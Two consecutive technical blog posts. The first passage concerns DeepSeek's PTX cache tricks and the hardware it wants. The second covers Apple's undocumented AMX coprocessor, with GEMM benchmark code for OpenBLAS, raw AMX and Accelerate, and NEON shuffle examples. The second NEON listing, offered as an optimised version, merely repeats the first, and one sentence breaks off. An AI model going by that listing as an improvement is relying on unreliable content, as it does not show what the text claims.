Using .nc alters the memory coherence behavior. By design, the non-coherent cache does not maintain coherence with other memory accesses. But the PTX memory model documentation loads via .nc (which uses the texture cache path) are not guaranteed to see updates made by normal global memory operations in a timely or consistent fashion. Within the same kernel execution, if one thread writes to a global memory address and another thread (or the same thread later) tries to read that address using ld.global.nc, the read might fetch a stale value from the non-coherent cache.

The underlying reason is that global L1 caches (and the texture cache) are not coherent with each other for global memory updates. Official documentation notes that global memory is coherent at the L2 level only; multiple SMs’ L1 caches are not kept coherent for global data​. So if one SM writes to a location (bypassing or evicting from its L1) and another SM has that location cached in its texture/L1 cache, the second SM can read a stale cached value​. The driver/hardware will invalidate such caches only between kernel launches, not within a single kernel​.

But DeepSeek discovered that despite this violation, adding the .L1::no_allocate qualifier makes this work correctly on Hopper. Their hypothesis is that on Hopper, the non-coherent cache is unified with L1, and using .L1::no_allocate prevents any stale data from persisting in cache. By bypassing L1 cache, each load must fetch fresh data from either L2 cache or global memory.

This specialized instruction provides several significant performance advantages. The non-coherent cache typically offers higher bandwidth than the standard global memory cache path. The instruction also prefetches 256 bytes of data into the L2 cache, which significantly improves sequential access patterns. Furthermore, by avoiding L1 cache pollution for data that won't be reused, it preserves L1 cache capacity for other frequently accessed data.

Where Deepseek Thinks Hardware Should Go

When news of R1 went mainstream, the news put investors into panic mode. But the fact of the matter is, R1 represents Deepseek finding that NVIDIA hardware can still be pushed way further than what US and Chinese labs are pushing. But the fact of the matter is they will run out of chips, they will run out of clever tricks to do with their current hardware. And given the pace in which the Chinese semiconductor industry is moving, coupled with the pure chokehold that NVIDIA’s CUDA has on the AI/ML industry, without new hardware they’re gonna run out of tricks soon.

This is easily found in their own paper (which i will assume in good faith all of you have read in full, not only snippets from Twitter you put into your bookmarks to never revisit ever again).

But what are the “development of more advanced hardware” Deepseek is looking for?

Higher FP8 GEMM Accumulation Precision

DeepSeek V3's groundbreaking achievement is the first successful implementation of FP8 training at extreme scale (671B parameters), achieving a relative loss error below 0.25% compared to BF16 baselines. But currently, FP8 GEMM operations on NVIDIA H800 GPUs have limitations on accumulation precision to approximately 14 bits, significantly below FP32 precision. This becomes particularly problematic with large inner dimensions (K), common in large-scale model training where batch size and model width are increased. Their testing shows GEMM operations with K=4096 can result in maximum relative errors approaching 2% due to limited accumulation precision in Tensor Cores.

They propose future hardware should either support full-precision accumulation in Tensor Cores or implement an appropriate accumulation bit-width based on training and inference accuracy requirements, eliminating the need for frequent data movement between Tensor and CUDA cores.

Tile and Block-Wise Quantization

DeepSeek's tile and block-wise quantization strategy directly addresses the primary challenge of FP8 training: managing outliers in activations and weights that can destabilize training due to FP8's limited dynamic range. Their innovation applies different quantization strategies for activations versus weights. For activations, they implement 1x128 tile-wise grouping (per token per 128 channels), while weights use 128x128 block-wise grouping (per 128 input/output channels). This granular approach allows better accommodation of outliers by adapting scaling factors to smaller groups of elements.

A key aspect of their implementation is the introduction of per-group scaling factors along the inner dimension of GEMM operations. While this functionality isn't directly supported in standard FP8 GEMM, they combine it with their precise FP32 accumulation strategy for efficient implementation. Their approach aligns with emerging hardware trends, as NVIDIA's next-generation Blackwell GPUs will support microscaling formats with smaller quantization granularity.

Transposed GEMM Operations

DeepSeek's current architecture faces inefficiencies in matrix transposition operations during training. During forward pass, activations are quantized into 1x128 FP8 tiles and stored. The backward pass requires reading out these matrices, dequantizing them, transposing them, re-quantizing into 128x1 tiles, and storing in HBM. This multi-step process creates significant memory operation overhead.

They propose enabling direct transposed reads of matrices from shared memory before MMA operations for precisions required in both training and inference. When combined with their proposed fusion of FP8 format conversion and TMA access, this would eliminate the current need for multiple memory operations and re-quantization steps. The optimization would be particularly impactful for their mixed-precision training framework where multiple matrix transformations are required between forward and backward passes.

Dedicated Inter-GPU Link Co-Processors

The need for specialized co-processors to handle inter-GPU communications arises from their current requirement to dedicate 20 out of 132 Streaming Multiprocessors (SMs) solely for communication tasks in their distributed MoE architecture. These SMs manage a complex communication system spanning InfiniBand for inter-node and NVLink for intra-node communication. This system, while effective, represents a 15% reduction in available computing power that could otherwise be used for model training.

A specialized co-processor would unify these networking domains, similar to NVIDIA's Scalable Hierarchical Aggregation Protocol (SHARP) which serves as a network co-processor (current inside certain Mellanox InfiniBand switches, yes, network switches).

Tthe co-processor could provide a unified interface for read, write, multicast, and reduce operations across the entire IB-NVLink-unified domain while maintaining near-zero all-to-all communication overhead. This would be particularly crucial for maintaining efficiency in their MoE architecture, where each token must be routed to up to 4 nodes without blocking subsequent token operations.

Conclusions

There has been alot that has been said about both sides of this discussion, China on the rise and the West has fallen. But almost all of the methods that Deepseek uses are built upon research done by Western teams, and trained on American technologies. If Deepseek used Huawei Ascend chips, I’d be singing a different tune.

I don’t understand why people thought this punctured NVIDIA’s dominance, PTX has an ISA documentation and some of the optimization methods are not entirely alien. People think hardware and compilers are now so fast that doing low-level optimizations is no longer worth it, when we know this is not the case.

People think that Deepseek somehow discovered PTX and now can bypass “NVIDIA’s CUDA Monopoly” when the PTX ISA is a domain-specific compiler IR, connecting high-level CUDA C++ code with low-level GPU SASS instructions. These low-level code optimizations are not interchangeable to AMD or even Huawei Ascend cards, as they run entirely different architectures. NVIDIA obscures their hardware's actual implementation details, even in absurd ways like how technical diagrams in NVIDIA’s technical documents only aim to explain the general structure of the architecture and may not accurately depict the exact implementation details of the hardware.

This is genius on NVIDIA’s part because that will either mean firms have to invest in low-level engineers that will have to dig through these GPUs in order to fully utilize them, or buy more chips. In scenario one, NVIDIA will waste precious time and resources of firms to hyper-optimize their code for NVIDIA’s stack which cements their vendor lock-in. In scenario two, NVIDIA gets more money from batch orders and win either way.

Most of the people talking about Deepseek on Twitter only saw the benchmarks or small snippets of the paper and jizz themselves seeing the LaTEX math formulas, pretending they even know a single word they’re being mentioned. Deepseek did what American teams didn’t, they don’t leave papers on bookmarks.

The conclusion is, less bookmarking and more reading, please.

Cover Illustration by ochxzuke

I was heading for a trip over the weekends where i would be far from my main workstation, and at this time i was looking to continue my current run of Persona 5 Royal on the PC. Recently with the launch of MacOS Sonoma, Apple added support for the translation of AVX2 instructions through Game Porting Toolkit 2.

But quickly i found that while there are translations for AVX2 instructions, they’re not very good. This is because many of the AVX2 instructions were mapped to ARM NEON equivalents, and as NEON has relatively limited and less flexible instruction set compared to its x86 counterparts like Intel’s AVX2. NEON lacks certain advanced operations, such as comprehensive shuffle and permutation instructions, which are readily available in AVX.

While Rosetta emulates other Intel SIMD technologies like SSE super fast, it skips over support for AVX because the patent for AVX is still valid, which Intel is very eager to remind its competitors about. Emulating the Intel ISA without authorization will likely land Apple into legal trouble, which is why they would likely need to license the ISA in order to incorporate it to Rosetta.

This is why workarounds often involves translating one AVX instruction multi-step NEON instructions to achieve what AVX can accomplish with a single operation, creating bottlenecks in translation speeds. This is where i fell into a rabbit hole of ARM NEON performance in MacOS and also the mysterious Apple Matrix Extensions (AMX) coprocessor.

Brief history of AMX

In 2019 at Apple’s Fall Keynote to introduce new iPads, Apple Watches, and iPhones, there was a brief 30 second moment where they went on-stage and introduced a new co-processor inside the A13 Bionic chip. What was vaguely called “Machine Learning Accelerators” added two SIMD units that performs accelerated matrix operation into the CPU, which Apple claimed to have increased the matrix multiplication power of A13 Bionic by 6 times and allowing the CPU to achieve one trillion operations per second.

Many thought that this was an addition to the Apple Neural Engine (ANE) Accelerators previously introduced in the A11 Bionic, but it seemed like these dedicated accelerators are seperate from the ANE.

The Apple Matrix Coprocessor (AMX) operates as a specialized coprocessor that interfaces directly with the instruction stream rather than functioning as a discrete accelerator. Unlike traditional accelerators such as GPUs or Apple's Neural Engine, AMX implements instruction stream monitoring capabilities, allowing it to intercept and process specific matrix operations embedded within the standard instruction flow.

The AMX's implementation diverges from conventional accelerator designs by eliminating the need for explicit memory management and instruction queue population typically associated with GPU-style accelerators. This design choice significantly reduces operational overhead, particularly beneficial for smaller matrix computations where traditional accelerator setup costs would be prohibitive. The coprocessor achieves this efficiency by monitoring the instruction cache feed to the CPU cores, identifying and intercepting matrix-specific instructions for specialized processing.

From an instruction set architecture (ISA) perspective, the AMX represents a non-standard extension to ARM's base instruction set. This implementation required special dispensation from ARM Ltd., which historically restricted custom instruction set extensions until their 2019 policy revision. The AMX instructions are interleaved with standard ARM instructions but remain undocumented in official specifications, accessible primarily through Apple's Accelerate framework components including vImage, BLAS, BNNS, vDSP, and LAPACK.

Performance analysis conducted by Nod Labs (now acquired by AMD) demonstrates that AMX achieves approximately twice the computational throughput compared to ARM's native NEON SIMD instructions for matrix operations. This performance differential is particularly significant for machine learning workloads and high-performance computing applications that heavily utilize matrix computations. The coprocessor's efficiency stems from its tight integration with the CPU's instruction pipeline, enabling lower-latency operation compared to discrete accelerators.

Technicals

These cores are more commonly known as the AMX, which are undocumented arm64 ISA extensions present on Apple Silicon chips. In the M-series chips, the class of Apple Silicon processors for desktop use, the amount of AMX cores were bumped from 2 to 4. The existence of these instructions have been reversed by Dougal Johnson.

Thanks to abandoned patent US20180074824A1 from Apple we can see that the AMX instructions operate on a 32x32 grid of compute units. Each unit is capable of performing 16-bit multiply-accumulate operations. The architecture allows for flexibility in data width, as 2x2 subgrids of units can perform 32-bit multiply-accumulate operations, and 4x4 subgrids can handle 64-bit multiply-accumulate operations. To feed this computational grid, AMX utilizes a pool of X registers and a pool of Y registers. Each of these registers contains 32 16-bit elements, 16 32-bit elements, or 8 64-bit elements. This structure enables a single instruction to perform a full outer product operation, multiplying every element of an X register with every element of a Y register and accumulating the results with the corresponding Z element.

The AMX architecture supports various data types for computation. It can handle IEEE754 floating-point numbers in f16, f32, or f64 formats, with the same width used for all three operands in fused-multiply-add operations. Additionally, it supports operations using f16 multiplicands while accumulating onto f32. Integer operations are also supported, with 8-bit or 16-bit multiplicands accumulating onto 16 or 32 bits in various signedness configurations. The M2 hardware introduced support for bfloat16 (bf16) multiplicands, which can accumulate onto either bf16 or IEEE754 f32.

While the A-series chips contained version 1 (marked by the existence of 7-bit writemasks), the M1 chip is believed to contain version 2 of the AMX instructions that contained 9-bit writemasks instead. The transition from M1 to M2 brought bf16 support along with other minor adjustments. The M2 to M3 transition further expanded capabilities by adding an extra mode to each of the ldx, ldy, and matint instructions.

The AMX coprocessor's state comprises two 0x200 byte registers, amx0 ("x") and amx1 ("y"), and one 0x1000 byte register amx2 ("z"). Apple's documentation describes x, y, and z as register groups, with each 64-byte row considered a "register". The z register group is specifically described as "64 registers in an M-by-N matrix". Additionally, the AMX configuration happens at the level of the AMX_CONFIG_EL1/EL12/EL2/EL21 registers, with AMX_STATE_T_EL1 and AMX_CONTEXT_EL1 being also present.

AMX instructions follow a specific format:

0x00201000 | ((op & 0x1F) << 5) | (operand & 0x1F)

The coprocessor must be explicitly enabled using op=17, operand=0 and disabled using op=17, operand=1. In the Accelerate framework, these instructions are consistently prefixed by three NOPs. Executing non-enable instructions when AMX is disabled results in illegal instruction exceptions.

Most AMX operations (op=0-16 and op=18-22) use a 64-bit register number (X0-X30 or 31=XZR) as the operand. This register typically contains a bitfield with additional operation parameters. For instance, load and store operations use a 56-bit address in bits 0-55, a 5-bit register offset (in 0x40-byte units) in bits 56-61, and a flag in bit 62 (0 for 0x40-byte operations, 1 for 0x80-byte aligned operations).

The AMX instruction set includes various operations:

1. Load/store operations (ops 0-7)

2. Extract and move operations (ops 8-9)

3. Floating-point multiply-add operations (ops 10-13, 15-16)

4. Integer multiply-add operations (op 14)

5. Vector and matrix operations (ops 18-21)

6. Lookup table generation (op 22)

The AMX instruction set includes LDX/LDY for loading data, FMA for multiply-accumulate operations, and LDZ/SDZ for loading and storing results. The FMA instruction operates in two modes: Matrix Mode for outer product computations and Vector Mode for inner product calculations. The outer product mode offers higher hardware parallelism compared to the inner product mode.

The z register group occupies 0x1000 bytes (4096 bytes) of state. This larger group is divided into 64 registers, each also being 64 bytes wide. The z group is primarily used to store the results of operations performed on the x and y registers. This arrangement means that outer product results are not stored contiguously in registers, which has implications for how data is accessed and processed.

AMX's performance characteristics are noteworthy. It can achieve different levels of parallelism depending on how many Arithmetic Logic Units (ALUs) are enabled. Tests show that enabling all 4 ALUs can reach up to 2k GFLOP/s, demonstrating that ALUs can execute in parallel even when configured and emitted individually.

Load performance varies based on factors such as whether data is loaded into X and Y registers simultaneously, whether memory accesses are consecutive, and how many registers are used for reading. The highest bandwidth (219.201 GB/s) was achieved when loading 4 registers each from X and Y simultaneously with consecutive memory access.

Store performance is generally slower than compute and load operations, indicating that frequent loading and storing of Z registers should be avoided for optimal performance. The maximum bandwidth achieved for store operations was around 13 GB/s.

When designing kernels to leverage AMX, it's crucial to balance computation and data loading. One effective strategy involves loading 2 groups each of M and N data, allowing for 8 computation cycles that maximize ALU utilization. This approach allows for streaming computation, achieving near-peak performance.

Performance-wise, AMX functions as a non-speculative coprocessor, with operations posted via the CPU cores' store units. The M1 chip features two AMX coprocessors: one for the four Firestorm cores and another for the four Icestorm cores. Each coprocessor maintains four copies of the architectural register state, one per core. They access memory through the same L2 cache as the cores and operate at similar clock speeds.

The performance variant of AMX consists of an array of 4-cycle latency, pipelined FMAs, achieving a throughput of one FMA32 or FMA64 instruction per cycle, but only one FMA16 instruction every two cycles. The efficiency variant maintains the 4-cycle FMA32/FMA64 latency but performs one FMA32 or FMA64 instruction every four cycles, or one FMA16 instruction every eight cycles.

To achieve 1-cycle throughput from a single core, destinations must be independent (using a Z offset). Operations utilizing too much of the Z register will experience lower throughput. Throughput can be improved by distributing operations across different cores, thus leveraging entirely different Z registers.

Performance Characteristics

We can compare the performance between SIMD operations performed by Arm NEON and Apple’s AMX by testing a few different strategies, first using OpenBLAS, then using Apple AMX directly, and through the official method using Apple’s Accelerate library. These tests were run in a Macbook Pro 14 inch with the M1 Pro chip and 16 GB of RAM.

OpenBLAS (Arm NEON) Performance

For a baseline comparison we can use the OpenBLAS, which is a repo of BLAS and LAPACK APIs with many optimizations for specific processor types, including Arm NEON and SVE (of note, Apple Silicon up to M3 haven’t supported the Arm SVE ISA as it still stuck with ARMv8 ISA).

#pragma once
#include <cblas.h>
#include <vector>
#include <algorithm>

template <typename T>
class OpenBLASGEMM : public GEMM<T>
{
private:
    size_t n;
    std::vector<T> a, b, c;

public:
    explicit OpenBLASGEMM(size_t n) : n(n), a(n * n), b(n * n), c(n * n) {}

    void run() override
    {
        if constexpr (std::is_same_v<T, float>) {
            cblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, n, n, n, 1.0f,
                        a.data(), n, b.data(), n, 0.0f, c.data(), n);
        } else if constexpr (std::is_same_v<T, double>) {
            cblas_dgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, n, n, n, 1.0,
                        a.data(), n, b.data(), n, 0.0, c.data(), n);
        }
    }

    void init_matrices() override
    {
        std::fill(a.begin(), a.end(), T(1));
        std::fill(b.begin(), b.end(), T(1));
        std::fill(c.begin(), c.end(), T(0));
    }
};

OpenBLAS demonstrates varying performance characteristics across different matrix dimensions. For compact matrices, specifically at N=64, OpenBLAS achieves 79.6 GFLOP/s. This performance gradually improves as matrix sizes increase, reaching 371 GFLOP/s at N=512. The library's response times for these smaller matrices, while relatively brief, show a noticeable increase starting from N=128. As matrix dimensions grow, OpenBLAS exhibits improved performance metrics. At N=1024, for instance, OpenBLAS reaches 423 GFLOP/s, marking a substantial improvement from smaller sizes.

The performance characteristics of OpenBLAS undergo further changes as matrix sizes grow beyond N=1024. In this range, the library exhibits longer response times, with this trend becoming particularly pronounced for large matrices such as N=4096 and N=8192. At these dimensions, OpenBLAS's mean response times increase significantly. The largest tested matrix size, N=8192, sees OpenBLAS achieving 574 GFLOP/s, but comes at the cost of increased computational time, with mean response times surpassing 2.2 seconds.

Rawdogging Apple AMX

Now to something more exotic, we interact with Apple AMX directly through a header file built by Dougall Johnson. We gonna have to call alot of instructions relating to AMX from this wrapper, but

We begin by making a microkernel with a 32x32 tile of the output matrix C, leveraging the AMX's ability to work with large data blocks efficiently. This loop loads four 16x32 blocks of C into the Z registers. The i << 2 in the offset argument selects different groups of Z registers for each block, effectively utilizing the full 64 Z registers available in the AMX.

for (int i = 0; i < 4; i++) {
    amx_ldz((uint8_t *)(C + i * 16 * ldc), i << 2, 1);
}

The main computation loop iterates over the K dimension, loading a column of A and a row of B in each iteration. These instructions load 32 elements from A into a Y register and 32 elements from B into an X register. The AMX can then perform an outer product of these vectors, accumulating the result into the Z registers.

amx_ldy((uint8_t *)(A + k), 0, 1);
amx_ldx((uint8_t *)(B + k * ldb), 0, 1);

Next we create a nested loop performs four FMA32 operations, each computing a 16x16 block of the 32x32 output tile. The arguments to amx_fma32 select different portions of the X and Y registers and different groups of Z registers for each operation.

for (int i = 0; i < 2; i++) {
    for (int j = 0; j < 2; j++) {
        amx_fma32(j, i, i * 2 + j, 0);
    }
}

To maximize performance, we can further create matrix packing strategies to rearrange the input matrices into a more cache-friendly layout. We can do this by packing 32-element column segments of A into contiguous memory, improving spatial locality and reducing cache misses during the micro-kernel execution.

static void pack_matrix_a(float *dest, const float *src, uint64_t M, uint64_t K, uint64_t lda) {
    for (uint64_t i = 0; i < M; i += 32) {
        for (uint64_t k = 0; k < K; k++) {
            for (uint64_t ii = 0; ii < 32 && i + ii < M; ii++) {
                dest[k * 32 + ii] = src[(i + ii) * lda + k];
            }
        }
        dest += K * 32;
    }
}

The main amx_sgemm function orchestrates the overall computation, employing a cache blocking strategy to optimize performance. It defines block sizes MC, KC, and NC (all set to 384 in this implementation) to ensure that the working set fits within the processor's cache hierarchy. The function allocates aligned memory for packed versions of A and B, ensuring optimal memory access patterns for the AMX instructions.

void amx_sgemm(float *A, float *B, float *C, const uint64_t size) {
    const uint64_t M = size, N = size, K = size;
    const uint64_t MC = 384, KC = 384, NC = 384;  // Cache blocking parameters

    float *packed_A = (float *)aligned_alloc(64, MC * KC * sizeof(float));
    float *packed_B = (float *)aligned_alloc(64, KC * NC * sizeof(float));

The computation is then structured as nested loops over blocks of the matrices, with the innermost loop invoking the micro-kernel.

for (uint64_t mc = 0; mc < M; mc += MC) {
    uint64_t mc_end = MIN(mc + MC, M);
    for (uint64_t nc = 0; nc < N; nc += NC) {
        uint64_t nc_end = MIN(nc + NC, N);

        // Pack B panel
        pack_matrix_b(packed_B, B + nc, K, nc_end - nc, N);

        for (uint64_t kc = 0; kc < K; kc += KC) {
            uint64_t kc_end = MIN(kc + KC, K);

            // Pack A panel
            pack_matrix_a(packed_A, A + mc * K + kc, mc_end - mc, kc_end - kc, K);

            // Micro-kernel calls
            for (uint64_t m = 0; m < mc_end - mc; m += 32) {
                for (uint64_t n = 0; n < nc_end - nc; n += 32) {
                    amx_gemm_micro_kernel(
                        packed_A + m * (kc_end - kc),
                        packed_B + n * (kc_end - kc),
                        C + (mc + m) * N + (nc + n),
                        kc_end - kc, 32, 32, N
                    );
                }
            }
        }
    }
}

Finally we arrive at the final implementation.

#pragma once

#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include "amx.h"

// AMX wrapper functions
static inline void amx_ldz(const uint8_t *addr, uint64_t offset, uint64_t mode)
{
    AMX_LDZ(((mode & 1ull) << 62) |
            ((offset & ((1ull << 6) - 1)) << 56) |
            (((uint64_t)addr & ((1ull << 56) - 1))));
}

static inline void amx_stz(uint8_t *addr, uint64_t offset, uint64_t mode)
{
    AMX_STZ(((mode & 1ull) << 62) |
            ((offset & ((1ull << 6) - 1)) << 56) |
            (((uint64_t)addr & ((1ull << 56) - 1))));
}

static inline void amx_ldx(uint8_t *addr, uint64_t offset, uint64_t mode)
{
    AMX_LDX(((mode & 1ull) << 62) |
            ((offset & ((1ull << 3) - 1)) << 56) |
            (((uint64_t)addr & ((1ull << 56) - 1))));
}

static inline void amx_ldy(uint8_t *addr, uint64_t offset, uint64_t mode)
{
    AMX_LDY(((mode & 1ull) << 62) |
            ((offset & ((1ull << 3) - 1)) << 56) |
            (((uint64_t)addr & ((1ull << 56) - 1))));
}

static inline void amx_stx(uint8_t *addr, uint64_t offset, uint64_t mode)
{
    AMX_STX(((mode & 1ull) << 62) |
            ((offset & ((1ull << 3) - 1)) << 56) |
            (((uint64_t)addr & ((1ull << 56) - 1))));
}

static inline void amx_sty(uint8_t *addr, uint64_t offset, uint64_t mode)
{
    AMX_STY(((mode & 1ull) << 62) |
            ((offset & ((1ull << 3) - 1)) << 56) |
            (((uint64_t)addr & ((1ull << 56) - 1))));
}

static inline void amx_fma32(uint64_t xoffset, uint64_t yoffset, uint64_t zoffset, uint64_t zignore)
{
    AMX_FMA32((yoffset << 6) |
              (xoffset << 6 << 10) |
              (zoffset << 20) |
              (zignore << 27));
}

#define MIN(a,b) ((a) < (b) ? (a) : (b))

// Micro-kernel for 32x32 tiles
static void amx_gemm_micro_kernel(const float *A, const float *B, float *C, 
                                  uint64_t K, uint64_t lda, uint64_t ldb, uint64_t ldc) {
    // Load C tile
    for (int i = 0; i < 4; i++) {
        amx_ldz((uint8_t *)(C + i * 16 * ldc), i << 2, 1);
    }

    for (uint64_t k = 0; k < K; k++) {
        // Load A column (32x1)
        amx_ldy((uint8_t *)(A + k), 0, 1);

        // Load B row (1x32)
        amx_ldx((uint8_t *)(B + k * ldb), 0, 1);

        // Perform FMA for 32x32 tile
        for (int i = 0; i < 2; i++) {
            for (int j = 0; j < 2; j++) {
                amx_fma32(j, i, i * 2 + j, 0);
            }
        }
    }

    // Store C tile
    for (int i = 0; i < 4; i++) {
        amx_stz((uint8_t *)(C + i * 16 * ldc), i << 2, 1);
    }
}

static void pack_matrix_a(float *dest, const float *src, uint64_t M, uint64_t K, uint64_t lda) {
    for (uint64_t i = 0; i < M; i += 32) {
        for (uint64_t k = 0; k < K; k++) {
            for (uint64_t ii = 0; ii < 32 && i + ii < M; ii++) {
                dest[k * 32 + ii] = src[(i + ii) * lda + k];
            }
        }
        dest += K * 32;
    }
}

static void pack_matrix_b(float *dest, const float *src, uint64_t K, uint64_t N, uint64_t ldb) {
    for (uint64_t j = 0; j < N; j += 32) {
        for (uint64_t k = 0; k < K; k++) {
            for (uint64_t jj = 0; jj < 32 && j + jj < N; jj++) {
                dest[k * 32 + jj] = src[k * ldb + (j + jj)];
            }
        }
        dest += K * 32;
    }
}

void amx_sgemm(float *A, float *B, float *C, const uint64_t size) {
    const uint64_t M = size, N = size, K = size;
    const uint64_t MC = 384, KC = 384, NC = 384;  // Cache blocking parameters

    // Allocate packed buffers
    float *packed_A = (float *)aligned_alloc(64, MC * KC * sizeof(float));
    float *packed_B = (float *)aligned_alloc(64, KC * NC * sizeof(float));

    if (!packed_A || !packed_B) {
        free(packed_A);
        free(packed_B);
        return;
    }

    AMX_START();

    for (uint64_t mc = 0; mc < M; mc += MC) {
        uint64_t mc_end = MIN(mc + MC, M);
        for (uint64_t nc = 0; nc < N; nc += NC) {
            uint64_t nc_end = MIN(nc + NC, N);

            // Pack B panel
            pack_matrix_b(packed_B, B + nc, K, nc_end - nc, N);

            for (uint64_t kc = 0; kc < K; kc += KC) {
                uint64_t kc_end = MIN(kc + KC, K);

                // Pack A panel
                pack_matrix_a(packed_A, A + mc * K + kc, mc_end - mc, kc_end - kc, K);

                // Micro-kernel calls
                for (uint64_t m = 0; m < mc_end - mc; m += 32) {
                    for (uint64_t n = 0; n < nc_end - nc; n += 32) {
                        amx_gemm_micro_kernel(
                            packed_A + m * (kc_end - kc),
                            packed_B + n * (kc_end - kc),
                            C + (mc + m) * N + (nc + n),
                            kc_end - kc, 32, 32, N
                        );
                    }
                }
            }
        }
    }

    AMX_STOP();

    free(packed_A);
    free(packed_B);
}

At the smallest matrix size (N = 64), the GFLOP/s is 636.304, but the response times (mean, min, max) are effectively zero, indicating that the operations are completed extremely quickly, likely within the hardware’s noise level or precision limits of measurement. As the matrix size increases, the GFLOP/s gradually increases, reaching a peak of 2365.431 GFLOP/s at N = 1024. This shows that the AMX hardware is optimized to handle matrix sizes around 1024, providing the highest throughput at this size. However, as the matrix size continues to increase beyond 1024, the GFLOP/s begins to decline, likely due to limitations in memory bandwidth or cache usage that cannot keep pace with the increased demand for data.

The response times also tell a story of how performance scales with matrix size. For small matrices, the response time is negligible, but it becomes progressively more significant as matrix size increases. For example, at N = 2048, the mean response time jumps to 0.01026 seconds, and at N = 4096, the response time escalates further to 0.08087 seconds. The trend continues, with N = 8192 showing the highest response time at 0.71723 seconds.

Interacting with Apple Accelerate

Apple’s Accelerate is a library for high-performance but energy-efficient computation on the CPU by leveraging its vector-processing capability. The library contains functions for :

• Image processing, such as converting between formats and image manipulation (vImage)

• Low-level routines for accelerating common linear algebra operations such as matricies and vectors (BLAS)

• Specific type of neural networks trained to be capable to quantify uncertainty associated with the underlying processes (BNNS)

• Mathematical operations important in image processing or any signal really including audio (vDSP)

• Routines for solving higher level linear algebra functions like linear equations or eigenvalue problems (LAPACK)

In more common HPC circles, this would be equivalent to something like cuBLAS or cuLAPACK from NVIDIA. We can use this library by using <Accelerate/Accelerate.h>

#pragma once
#include <Accelerate/Accelerate.h>
#include <vector>
#include <algorithm>

template <typename T>
class AccelerateGEMM : public GEMM<T>
{
private:
    size_t n;
    std::vector<T> a, b, c;

public:
    explicit AccelerateGEMM(size_t n) : n(n), a(n * n), b(n * n), c(n * n) {}

    void run() override
    {
        if constexpr (std::is_same_v<T, float>) {
            cblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, n, n, n, 1.0f,
                        a.data(), n, b.data(), n, 0.0f, c.data(), n);
        } else if constexpr (std::is_same_v<T, double>) {
            cblas_dgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, n, n, n, 1.0,
                        a.data(), n, b.data(), n, 0.0, c.data(), n);
        }
    }

    void init_matrices() override
    {
        std::fill(a.begin(), a.end(), T(1));
        std::fill(b.begin(), b.end(), T(1));
        std::fill(c.begin(), c.end(), T(0));
    }
};

The Accelerate framework vastly outperforms OpenBLAS for smaller matrix sizes. For instance, at N=64, Accelerate achieves 699 GFLOP/s, whereas OpenBLAS only achieves 79.6 GFLOP/s. The difference is consistent up to N=512, where Accelerate records 2274 GFLOP/s compared to 371 GFLOP/s from OpenBLAS. The response times (mean, min, max) for Accelerate are near-zero for smaller matrix sizes, showing that AMX instructions are highly efficient in handling small matrix operations. In contrast, OpenBLAS has slightly larger response times, especially for N=128 and beyond.

At larger matrix sizes, the performance gap narrows somewhat, but Accelerate continues to outperform OpenBLAS. For instance, at N=1024, Accelerate reaches 2483 GFLOP/s, whereas OpenBLAS caps at 423 GFLOP/s. Response times for Accelerate remain competitive but grow slightly as the matrix sizes increase. OpenBLAS exhibits much longer response times, especially at large matrix sizes (e.g., N=4096 and N=8192), where its mean response times are several times longer than Accelerate’s.

At the largest matrix size tested, N=8192, the performance difference shrinks further. Accelerate achieves 1628 GFLOP/s, while OpenBLAS achieves 574 GFLOP/s. This suggests that the performance efficiency of both libraries stabilizes at larger matrix sizes, though Accelerate is still around 3x faster. OpenBLAS shows significant increases in response times at these large matrix sizes, particularly with mean response times exceeding 2.2 seconds, while Accelerate's mean response time is around 0.7 seconds.

Why did Apple Built AMX?

The fact of the matter is that Apple waited on SVE to be matured to fully make the jump to adopting it, and AMX was simply a stopgap solution to address the shortcomings of Arm NEON.

Many have critiqued NEON for various quirks, but one of the more obscure but important critiques of NEON was with NEON’s lack of generic shuffle instructions like those found in x86 SSE. In AVX, shuffle operations are typically low-latency, single-cycle instructions. For instance, the VSHUFPS instruction, which _mm256_shuffle_ps maps to, has a latency of 1 cycle and a throughput of 1 cycle on many Intel architectures.

#include <immintrin.h>

__m128 shuffle_sse(__m128 a, __m128 b) {
    return _mm_shuffle_ps(a, b, _MM_SHUFFLE(3, 1, 2, 0));
}

But many who had experience with porting AVX code to NEON (especially with shuffle instructions) found that it often involves reimagining the data flow of the algorithm. Instead of relying on flexible, single-instruction shuffles, NEON code might use a combination of vector extracts, reverses, and interleaving operations to achieve the desired data arrangement.

The most straightforward way to do this in NEON might involve using a combination of vgetq_lane_f32 to extract individual lanes, vsetq_lane_f32 to set lanes, and vcopyq_lane_f32 to move data between vectors. For broadcasting a single lane to all elements, vdupq_lane_f32 can be used. However, this lane-by-lane approach can lead to suboptimal performance on ARM hardware.

#include <arm_neon.h>

float32x4_t shuffle_neon(float32x4_t a, float32x4_t b) {
    float32x2_t low_a = vget_low_f32(a);
    float32x2_t high_a = vget_high_f32(a);
    float32x2_t high_b = vget_high_f32(b);

    float32x2_t shuffled_a = vext_f32(low_a, high_a, 1);
    float32x4_t result = vcombine_f32(shuffled_a, high_b);

    result = vsetq_lane_f32(vgetq_lane_f32(b, 1), result, 2);

    return result;
}

To achieve better performance with NEON, programmers can leverage some instructions that can operate on multiple lanes simultaneously. One such instruction is vextq_f32, which allows extraction of components from two vectors, combining them based on a specified starting index. NEON also provides a family of reverse instructions, including REV16, REV32, and REV64, which can efficiently reverse the order of elements within specific portions of a vector. While each of these instructions typically has a 2 cycle latency, they can potentially replace multiple lane-specific operations, leading to overall better performance.

#include <arm_neon.h>

float32x4_t shuffle_neon(float32x4_t a, float32x4_t b) {
    float32x2_t low_a = vget_low_f32(a);
    float32x2_t high_a = vget_high_f32(a);
    float32x2_t high_b = vget_high_f32(b);

    float32x2_t shuffled_a = vext_f32(low_a, high_a, 1);
    float32x4_t result = vcombine_f32(shuffled_a, high_b);

    result = vsetq_lane_f32(vgetq_lane_f32(b, 1), result, 2);

    return result;
}

With Apple's AMX, there exist an instruction called genlut, which has two primary modes: lookup and generate. In lookup mode, it can perform operations similar to a combination of AVX512's vpshufb and vgatherps instructions. This allows for complex data rearrangement and gathering operations within a single instruction. The lookup mode supports various data types and lane counts, ranging from 8-bit to 64-bit elements, with lane counts varying from 8 to 64 depending on the data size.

